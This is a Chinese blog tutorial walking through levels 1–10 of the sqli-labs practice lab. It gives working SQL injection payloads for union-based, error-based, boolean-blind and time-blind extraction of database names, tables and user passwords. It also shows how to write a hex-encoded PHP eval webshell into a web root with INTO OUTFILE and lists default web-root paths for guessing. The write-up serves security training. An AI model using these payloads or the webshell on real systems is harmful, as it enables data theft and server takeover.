sqli-labs(1-10)

前言:

    这一系列文章是整理的sqli-labs靶场的通关记录,不过,更新完可能比较慢。由于本人是个菜鸡,文中若有概念错误,欢迎大家指正。
    关于sql注入的概念什么的,我就不再赘述,百度上就有解释。

第一关(GET -Error based - single quotes - string)

    GET型,基于错误的,单引号,字符型 ,我先来解释一下这几个词的概念。

    GET型:get是http中的一种经常被用到的方法,常用于向服务器请求数据,使用get方式向服务器发起请求时,会将请求的参数加载到url地址栏。而另一种也经常用到的是post方法,post方法常被用于向服务器提交数据(比如我们常见到的输入框)。
    基于错误的:服务器在收到请求后,会与数据库进行交互,而用户的输入时不可预料的,于是会产生不符合数据库规范的语句,就会产生报错信息,而基于错误的意思就是服务器会将锁雾信息反馈给用户,这往往会为攻击者提供帮助。
    单引号:表示参数是被单引号包裹的(现在不明白不要紧,做了之后就知道了)
    字符型:数据库中有几种基本的数据类型,比如Mysql中,有Text(文本)、Number(数字)和 Date/Time(日期/时间)类型。而在SQL注入中,根据其参数的数据类型,通常划分为“数字型”和“字符型


接下来进入第一关,看到首页,提示输入id参数
在这里插入图片描述
于是在url中提交参数“id=1”,显示出用户信息
在这里插入图片描述
这时,根据关卡的提示,在参数后边加上单引号,即爆出错误提示
在这里插入图片描述


大家如果不太看得懂,那么我们来看一下源代码,看到这个,大家应该明白我之前所说的单引号包裹是什么意思了。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

接着我们来看,我们当我们的参数为“id=1”时,执行的语句是这样的

SELECT * FROM users WHERE id='1' LIMIT 0,1;

但我们在后面跟上一个单引号之后,执行语句变为了

SELECT * FROM users WHERE id='1'' LIMIT 0,1;

于是,前两个单引号闭合之后就多出来了一个单引号,产生了错误

    对了,这里解释一下“LIMIT 0,1”是什么意思,这是一个用于检索指定条检索条目的语句,当我们查询数据库时,有时候可能查询到很多条数据,我们只想检索其中某一些,就使用limit。
    比如,“limit 0,1” 表示检索第一条数据,“limit 0,3”表示检索第一到第三条数据,“limit 3,5”表示检索第4到8条数据,“limit 3,-1”表示检索第四条到最后一条,“limit 5”表示检索前五条数据,等同于“limit 0,5”

说完limit,我们接着看,当我们在后面输入一个--+时,却又再次正常显示了
在这里插入图片描述
这里引入一个概念,“注释符”,Mysql中有三种注释符
    # ,单行注释,注释掉#号后边的内容
    --+(负负空格),上面使用加号是因为在url地址栏中加号会被识别为空格,单行注释,注释掉注释符后边的内容
    /**/ 内联注释符,注释掉注释符中间的内容
解释了注释符的概念之后,也就应该可以理解为什么能够正确回显了,因为注释符后面的内容被注释了

SELECT * FROM users WHERE id='1'-- ' LIMIT 0,1;

    接着往下,输入 id=1’ and 1=1--+ ,可以看到页面是正式显示的
在这里插入图片描述
    这时候,再来输入 id=1’ and 1=2--+ ,页面却没了显示(ip地址不同请忽略,因为不是一次性写的)
在这里插入图片描述
    这里再来分析一下原因,先看一下执行的是什么代码

SELECT * FROM users WHERE id='1'and 1=1-- ' LIMIT 0,1;
SELECT * FROM users WHERE id='1'and 1=2-- ' LIMIT 0,1;

    第一条语句查询的条件是:id=1 且1=1的行,显然,1=1是必然的,于是能够执行成功
    同理,第二条语句查询的条件是:id=1 且 1=2,但是,1=2永远都是为假的,也就没有查询出数据来

这里,大家可能会有疑问,这有什么用呢,那么我这里给大家演示一下。
下面进行了四种查询,模拟我们传入参数后所执行的查询。

selelct * from users where id='1 and 1=1'

在这里插入图片描述

selelct * from users where id='1 and 1=2'

在这里插入图片描述


前两个执行结果为一组,后两个执行结果为一组


selelct * from users where id='1' and 1=1

在这里插入图片描述

selelct * from users where id='1' and 1=1

在这里插入图片描述
    看到这里,有不少人可能会很懵逼,我们先来对比前两个,为什么我们单引号里面的东西明明是一串儿字符串,但却查到了id=1的结果呢?,如果有人仔细看来,那可能会提出这个问题,这就涉及到mysql中的隐式转换了,我们先来看一下下面这张图,可以看到,id这个字段其实是int型的。

在这里插入图片描述
    那我们 id= '1' ,岂不是拿数字和字符串做比较了吗?是的,于是为了能成功比较出数据,mysql自动将字符的 '1',转化为了数数字1
    再看下图,依旧能够正常查询出 id=1 的数据来,因此,在字符串与数字比较时,mysql进行隐式转换,它从左往右进行识别,识别到 1,读取为数字,识别到 d,不是数字,于是,后面的都被当做为字符串了,即使后面还有数字。最终,便检索到了 id=1的数据,上面前两种查询也是此原因。

在这里插入图片描述
    而第三种和第四种,对比之下可以看到,and 1=1得出了数据,而 and 1=2发生了错误,而这,也就成为了判断注入点和闭合的一种方式。
    接着往下,我们已经判断出单引号闭合了,那下一步该做什么呢,对于这种有报错信息的,又有数据回显的首先考虑的就是联合查询。联合查询,也就是使用union,语句格式如下

selelct * from users where id='1' union selelct ***

联合查询有两个必要条件:
    1.查询数据的列数相同。
    2.对应列的数据类型相同。

大家可能不明白什么意思,那就接着往下看。
先看一下下面这张图,我们直接 “selelct 1,2,3;” 的时候,会出现这样一张表
在这里插入图片描述
那么我们套用一下联合查询的句式呢,可以看到,查出了这样两条数据
在这里插入图片描述
那我们再往后面加个4呢,报错了
在这里插入图片描述
    提示我们说,我们查询的这两个东西的列数是不一样的,列数不一样我肯定没法给你把两个拼接再一起呀。所以,我们使用联合查询之前可以使用 order by 查询到列数 (当然也会可以直接使用union填充数据,直到报错)
    那么可能有人会问,不是还有第二个条件吗。对,没错,那为啥可以查询成功呢,因为前面既然提到隐式转换比较数据,那么这里存储的时候自然也是可以的,数字可以转换为字符串,因此,我们也常用数字来判断显示位。
    order by用于对查询到的结果进行排序的,默认是按升序排列。比如像这样,指定按照 “id” 这个字段的顺序来进行排列
在这里插入图片描述
或者像这样,指定按照第一列的顺序来排列。,他们两者的结果是相同的。
在这里插入图片描述
再看,我们指定按照第三列来排序,也是成功执行
在这里插入图片描述
那么如果我们指定一个不存在的列呢,比如第四列,于是报错了
在这里插入图片描述
所以,我们就可以使用 order by 来判断列数,进而使用联合查询
好的,回到关卡,开始判断列数,oder by 3正常显示
在这里插入图片描述
order by 4 报错,那看来是有3个字段了
在这里插入图片描述
    然后我们需要判断显示位,判断,页面中有哪些地方是从数据库中回显过来的数据,以及对应的字段。
我们将id改为一个不存在的值,比如 -1 这样我们联合查询时,就相当于只查询了一条数据(也就是我们后面拼接的1,2,3),可以看到, 页面回显出了2和3.
在这里插入图片描述
    接下来,我们就可以在这两个位置构造语句和函数进行查询了。在此之前,先给出一些sql注入中常用的函数,以后也会陆陆续续用上。

=    >    <     >=    <=    <>   比较运算符,最后那个是不等于
and(&&) or(||)  not(!)  xor(^)   逻辑运算符(与或非,异或)
version()                       mysql数据库的版本
database()                      当前数据库名
user()                          用户名
current_user()                  当前用户名
system_user()                   系统用户名
@@datadir                       数据库路径
@@version_compile_os            操作系统版本(win32,win64...)
length()                        返回字符串的长度
substring()|substr()|mid()      截取字符串,使用三个参数,第一个参数为截取的字符串,第二个参数为
                                截取的起始位置(从1开始计数),第三个参数为截取的长度
left(str,length)                从左往右取字符串
right()                         从右往做左取字符串
concat()                        不含连接符的字符串连接函数
concat_ws()                     含连接符的字符串连接函数
group_concat()                  连接一个组的字符串,输出字符串的长度最长为64位
ord()|ascii()                   返回ascii码
hex()                           将字符串转换为16进制
unhex()                         将16进制转为字符串
mad5()                          返回MD5值
floor()                         返回小于参数的最大整数
round()                         返回参数接近的整数
rand()                          返回0到1之间的随机数
load_file()                     读取文件,并返回文件内容作为一个字符串
into outfile()/into dumpfile    写入文件
sleep()                         休眠一定时间
if(条件,true返回值,false返回值)    if的三目运算符
#                               注释符
--+(减减空格或者减减加)            注释符
/*...*/                         注释符
/*!...*/                        注释符,特点是这个注释符里面的内容会被当做mysql语句执行

    这里,再引入一个Mysql元数据库的概念,元数据库,相当于一个记录数据库基本信息的库。它记录了一个mysql服务器中有哪些库,每个库中有哪些表,每个表中有哪些字段。这个库是在Mysql5.0以上的版本才默认存在的。这里给大家简单看一下结构。
在这里插入图片描述
接下来,我们就使用就好了,比如说,我们直接先查出所有的库名

http://192.168.1.102/sqli-labs-master/Less-1/
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

在这里插入图片描述
或者,我们对当前的数据库比较感兴趣,还想看一下数据库的版本

http://192.168.1.102/sqli-labs-master/Less-1/
?id=-1' union select 1,version(),database()--+

在这里插入图片描述
接着,我们看看这个库中有哪些表

?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' --+  

再看看表中有哪些列

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

再查出其中的数据

group_concat(username) from security.users            爆出用户名
group_concat(password) from security.users            爆出密码

第一关基本上就完成了,这一关讲得比较详细,后面的就会稍微快一些了,大家有不懂的,尽量多去百度,多去做,看得多了,做得多了,也就懂了。

第二关(GET -Error based - lntiger based)

    第二关变成了一个数字型的,第二关比第一关还要更简单些,因为,数字型的话,就不许要判断闭合了,直接 “and 1=1” 和 “and 1=2”就可以判断了,其他后续的步骤都是一样的。
在这里插入图片描述
在这里插入图片描述
    可以看到,不需要加入单引号,二者就显示出了不同的结果,所以可以判断出是数字型的,其他的套用第一关的payload(有效载荷,即用于测试或者攻击的语句)即可,就是我用来查的那些语句。

第三关(GET -Error based - Single quotes with twist - string)

是一个')的闭合,没什么可讲的

第四关(GET-Error based - Double Quotes - string)

是一个双引号")的闭合,也和第一关一样
这四关做完,你就应该对联合查询做出一定的方法总结了。

  1. 判断注入点
  2. 猜测字段数
  3. 判断显示位
  4. 构造查询语句

    其实,其中的难点应该在于判断注入点,所以,你可以写一个简单的字典来进行爆破,先判断是数字型还是字符型,再判断是哪种闭合。比如这是我自己总结的一个简单字典,当然,实际中肯定是用处不大的,也就在靶场中能用一下,但是希望大家多去总结,自己完善一个字典。

and 1=1
and 1=2
' and 1=1 -- 
' and 1=2 -- 
) and 1=1 -- 
) and 1=2 -- 
') and 1=1 -- 
') and 1=2 -- 
')) and 1=1 -- 
')) and 1=2 -- 
" and 1=1 -- 
" and 1=2 -- 
") and 1=1 -- 
") and 1=2 -- 
")) and 1=1 -- 
")) and 1=2 -- 

第五关(GET -Double Injection - Single Quotes - string)

    Double Injection:双注入,那么这个双注入是啥意思呢,其实我也不太清楚,那就先看了这一关再说吧。
    先随便输入一个id,诶,可以看到,这一关他居然不显示我们的我们的用户名和密码了。
    那这说明个什么呢?说明页面不会直接将查询到的数据库的信息回显出来了,那我们的联合查询也就不能用了(大家尝试一下就知道了),毕竟联合查询还有个关键步骤要判断显示位呢。
    那大家可能又会懵逼了,都不回显数据库的信息了,那还有啥用,别急,只是说不会直接查询了反馈给你(毕竟直接反馈出密码,怎么想都不合理吧),但是还有别的方法。
在这里插入图片描述
我们还是先按步骤来,先判断注入点
?id=1' and 1=1--+ 回显正常
在这里插入图片描述
?id=1' and 1=2--+无回显
在这里插入图片描述
    判断了注入点之后,既然联合查询不能用,那这里我就要先讲一下这一关要用到的方法了,双注入,其实我更喜欢叫“报错注入”,因为这一关虽然不直接回显,但是你输入一个 ',它也依旧是会给你提示出报错信息的,我们就可以利用报错信息进行sql注入。
在这里插入图片描述

报错注入有三种方式

第一种:group by重复键冲突

?id=1' and (select 1 from (select count(*),concat((payload),floor
(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

    这里先给大家看看代码和效果,payload就是你想查询的语句,比如database(),也可以是一个嵌套的子查询语句。看到这么长一串,想必不少人头都大了,反正我头都大了。
    本来想自己解释一番,但是想了想,之前也有别人讲的很完善了,这里就给大家一个链接去看看吧。戳这里看 ,或者把这个式子直接背下来也行。


第二种:updatexml()函数
    相比于 group by 来说,这个函数就要简洁很多了,不过,这个函数是有着版本限制的,似乎是5.15以后。用法如下

?id=1' and updatexml(1,concat('|',payload,'|'),1)--+

payload两边的 “|” 也可以是其他字符,这两个字符只是为了方便查看。
在这里插入图片描述


第三种:extractvalue()函数
这个函数和上面的updatexml()大体上是差不多的,用法如下

?id=1' and extractvalue(1, concat('|',payload,'|'))

下面给出payload

payload=database()
爆出当前库名

payload=select group_concat(schema_name) from information_schema.schemata 
爆出所有库名
group_concat函数有输出限制,所以输出超过时得采用limit来进行逐行输出

payload=select table_name from information_schema.tables where
table_schema='security' limit 1,1 
爆出表名

payload=select column_name from information_schema.columns where
table_name='users' and table_schema='security' limit 1,1 
爆出字段名

payload=select username from users limit 0,1 
爆出数据

    写到limit,那就补充一点:
    limit从0开始计数,比如“limit 0,1”,取出的是第一条数据,而substr等字符串截取函数从1开始计数,substr(str,1,1)表示取第一个字母。
    需要注意,updatexml函数和extractvalue函数都有着输出长度的限制,只能输出32位,有时可以结合substr来输出

第六关(GET - Double lnjection - Double Quotes - string)

这一关就没什么特别的了,和上一关一样,只不过换成了双引号而已。

第七关(GET -Dump into outfile - string)

    这一关就比较特别了,与mysql中的文件的写入有关系。我们随便输入一个 1 看一下,提示我们进去了,让我们使用outfile,这里先不管。
在这里插入图片描述
我们还是按照之前的步骤来,第一步,先判断注入点

?id=1')) and 1=1--+                   正常回显

在这里插入图片描述

?id=1')) and 1=2--+                     回显错误

在这里插入图片描述
根据上面两张图,我们可以判断出是'))闭合的。
接下来我讲一下mysql中的文件读取和写入吧

文件读取(load_file()函数)

通常来说,我们要想通过load_file读取一个文件,需要满足3个条件
1.文件是完全可读的,且用户具备读取权限
在高版本的Mysql中有一个特性secure_file_priv控制了Mysql中文件的导入和导出

  • ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出,默认为null
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

判断是否具备权限可以使用如下方法
and (select count(*) from mysql.user)>0 如果结果返回正常,说明具有读写权限.
and (select count(*) from mysql.user)>0 返回错误,应该是管理员给数据库账户降权了

2.文件大小必须小于max_allowed_packet
从字面上就可以看出这是一个限制传输数据包大小的选项,使用如下命令进行查看

show variables like 'max_allowed_packet';

3.知道文件的绝对路径


文件写入( into outfile() 或者 into dumpfile() )

    要实现文件写入,除了secure_file_priv允许写入文件之外,还需要用户具有FILE权限(file权限指的是用户是否能够对系统的文件读取和写操作)

    其实这一关主要是关于文件写入的,因为并没有显示位,所以也不太好读取,我们要完成这一关,就需要对secure_file_priv选项进行配置
    首先在mysql命令行中进行查看,可以看到,默认为NULL

show global variables like '%secure%';

在这里插入图片描述
    所以我们需要到配置文件中进行修改,加入一条secure_file_priv="",配置文件中默认是没有此选项的,mysql配置文件是mysql根目录下 的my.ini文件。
在这里插入图片描述
修改完成后记得重启服务,重启后再次查看,就已经变为空了,表示不进行限制。
在这里插入图片描述
    接下来回到关卡,我们随便写入一个文件,直接写入到C盘下,使用into outfile的方法也很简单,直接使用联合查询就能写入

?id=1')) union select 1,2,"<?phpinfo();?>" into outfile 'C:/outfilee.php'--+

在这里插入图片描述
虽然页面依然报错,但是我们进行查看时发现文件已经写入成功了,而且是直接写入的php文件
在这里插入图片描述
    当然,虽然能将文件写入到C盘根目录下,但是这样是很难利用起来的,如果能获取到网站的目录那当然是最好的了,那样就可以直接写入一句话木马,再使用菜刀之类的工具连接了。
    这里给出一些环境下,常见的web站点目录,这里我也只搭建过winserver和phpstudy的,如果大家都尝试去搭建一下 的话,应该会印象更深刻些,也可以根据经验进行判断。

winserver的iis默认路径c:\Inetpub\wwwroot

linux的nginx一般
是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就.../var/www/htm,.../var/www/html/htdocs

phpstudy2018 就是...\PhpStudy\PHPTutorial\WWW\

xammp 就是...\xampp\htdocs

这里我们手动看一下自己的网站目录,再来进行写入

?id=1')) union select 1,2,0x3c3f706870406576616c28245f524551554553545b27636d64275d293b3f3e into outfile 'c:/PhpStudy/PHPTutorial/WWW/ccc.php'--+

3c3f706870406576616c28245f524551554553545b27636d64275d293b3f3e是进行十六进制编码的一句话木马<?php @eval($_REQUEST['cmd']); ?>,0x是十六进制的前缀,最后使用菜刀连接即可。(不知道什么叫菜刀的,不知道怎么用的请自行百度)
在这里插入图片描述
    演示完之后,可能也有人会想,你这里自己搭建的环境倒还能自己看路径,但是真实场景中我该咋办呢,这里提供两个思路

  1. 通过报错得出路径(我试了前几关,反正没成功,不过后面的关卡确实有错误提示直接爆出路径的)
  2. 通过@@datadir得出数据库的路径,用来猜测网站路径
    这里演示一下第二种,以第一关为例,我们利用@@datadir获取到数据库路径
    在这里插入图片描述
        很显然,这是一个phpstudy搭建的,所以它的网站根目录应该和MYSQL在同一目录下,对于这种集成环境,我们很轻松就能猜到他的路径了。
    在这里插入图片描述

第八关(GET - Blind -Boolian Based - Single Quotes)

    基于布尔型的盲注,什么叫盲注呢,我演示一下你就知道了
    比如第一关,我们既能够使用联合查询反馈出数据,输入单引号时,也会提示出报错信息,而到了第五关,它就只提示一个“you are in”,但是你输入单引号进行闭合时,它也依旧会提示出报错信息
在这里插入图片描述
而到了第八关,当我们使用单引号闭合了之后,却直接没了显示
在这里插入图片描述
于是,就有了盲注,也就是没有回显的注入
基于bool的盲注,主要会用到以下几个函数

length()           
substr()
ascii()
hex()

使用length()函数判断当前数据库名的长度,当输输入“and length(database())=7”时,页面无回显
在这里插入图片描述
    当输入“length(database())=8”时页面正常显示,而我们知道我们当前数据库名为“security”,长度确实是八位,之所以能进行此判断,是因为length()函数会返回一个字符串的长度,length(database())的返回值也就是8,
    当输入“length(database())=8”时,也就相当于“8=8”,判断结果为真,结合上and,正常回显
    当输入“length(database())=7”时,也就相当于“8=7”,判断结果为假,不能正常回显
在这里插入图片描述
    判断出数据库长度之后,下一步就要判断数据库名了
    substr函数的用法是截取字符串,他有三个参数,第一个是被截取的目标,第二个是截取的起始位置(从1开始),第三个是截取的长度。
    比如substr('abcde',2,2),截取的结果是bc,下面演示的这些,实际上当然不会手工这样判断,主要是理解其原理。

?id=1' and substr(database(),1,1)='s'--+
......
?id=1' and substr(database(),2,1)='e'--+
......
?id=1' and substr(database(),3,1)='c'--+
.....

在这里插入图片描述

    substr(database(),1,1) 返回的结果为s,所以's'='s'是必然成立的,于是正常回显,换成别的就不能正常回显了
    除了直接用字符串进行比较,还可以用上其他函数,对字符串进行编码后比较,比如使用ascii函数,或者hex函数,也都是能够正常回显的

?id=1' and ascii(substr(database(),1,1))=115--+
?id=1' and hex(substr(database(),1,1))=73--+

在这里插入图片描述
    有人可能会不理解,我明明可以字符串比较,那我为什么还要使用这些函数呢,这里我列出两点

  1. 网站过滤了引号,进行转码可以绕过单引号,这一关当然是没有过滤的,但如果遇上一个数字型注入,网站却过滤引号呢
  2. mysql不区分大小写,'e'='E'在mysql中返回值为 1,所以有时候我们读取到的数据不一定准确。
    接着继续,判断出了库,那自然是要判断表

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m'--+
判断出第一个表为emails
......
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r'--+
......
第二个表为referers表
......

依次往下判断,最终判断出第四个表为users表,继续向下就该判断列名了

?id=1' and substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='i'--+
?id=1' and substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),2,1)='d'--+
判断出第一个字段的列名为id
?id=1' and substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1),1,1)='u'--+
........

最终分别判断出了三个列名,然后我们开始判断用户名和密码

?id=1' and substr((select username from users limit 0,1),1,1)='d'--+
.......

在这里插入图片描述
    可以看到,上面这条命令时执行成功了的,但是,我们知道我们users表里面的第一个用户名其实是Dumb,但是却能够正常回显,这样的话,我们在获取表中数据时,就有很大的不确定性,每个字母都可能是大写或小写,所以需要用到如ascii()和hex()之类的函数。

?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68--+
.........

这样我们就能准确判断出数据(68是‘D’的ascii码),ascii码对照表
这一关我只使用了 and,大家也大可尝试其他几个逻辑运算符。

第九关(GET -Blind - Time based.- Single Quotes)

    基于时间的盲注,其实和布尔盲注差不多,但是由于其特殊性,单独被独立成了一类。
    这一关,按照前面的思维,肯定是要先来判断闭合,但是会发现,无论如何,回显都是一个“you are in”,比如我给了个-111也会返回“you are in”。
在这里插入图片描述
那我们就根据题中条件来判断一下。这时候就只能用上延时注入了。
关键函数 if()sleep()

我们输入如下一段代码

?id=1 and sleep(5)--+

    按F12调出开发者模式,查看请求与响应时间,火狐浏览器在“网络”中,谷歌浏览器在“network”中,以谷歌做演示,可以看到响应时间是2s多点。
    提示如果遇到延迟了很久都没有出来的,那可能是浏览器以分钟为单位,可以把数字调小一点
在这里插入图片描述
但是当我们加入单引号时

?id=1' and sleep(5)--+


    可以看到,响应时间变为了7.22s,而且,即使直接看,也能看到网页的加载肉眼可见的变慢了,一直在转圈,就这样,我们就能判断出是单引号闭合了。
    现在我们知道 sleep() 的作用了,那 if又是什么作用呢。有三个参数,if(判断条件,true语句,false语句),第一个参数是判断的条件,如果是真,则返回前一个true语句,如果是假,则返回false语句。

?id=1' and if(1,sleep(5),1)--+

在这里插入图片描述
    我们输入上面那个语句之后,浏览器依旧产生了延迟,这是为什么呢,首先浏览器判断第一个表达式,而我们第一个表达式为1,表示是真,所以它返回了ture语句,也就是 sleep(5),于是最终的执行语句变为了?id=1' and sleep(5)--+
    接下来我们就可以利用这两个函数进行注入了。
    首先来判断数据库名

?id=1' and if(length(database())=8,sleep(5),1)--+

我再解读一遍上面这条语句

  1. 首先 length()函数执行,返回了数据库长度8
  2. 于是语句变为?id=1' and if(8=8,sleep(5),1)--+,接着判断表达式中8=8是否成立
  3. 判断8=8成立之后,执行语句true语句,于是语句变为?id=1' and sleep(5)--+

    接着往下就该判断数据库名了,其实用的语句和布尔型的语句是一模一样的。
    那么这一关和前一关的区别在哪里呢?区别在于,前一关利用返回的布尔值进行与运算,如果查不到数据的话,页面会返回空。
    而这一关源码将数据库查询的结果统一化了,无论数据库里面能否查到数据都会返回“you are in”,所以需要用上if()和sleep函数。
    后面的步骤就交给大家自己了。

第十关(GET-Blind -Time based - double quotes)

和前一关没有什么区别,只是换成了单引号闭合


    到此,前面十关就完成了,自己写的过程中还是又有一些收获,比如,理解到sql注入写一句话木马需要的是哪些条件,几种注入手法都可以用来猜测数据库路径,进而推测网站路径。
    这十关,主要讲的就是get方法下的四种注入手法,希望大家多去理解

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值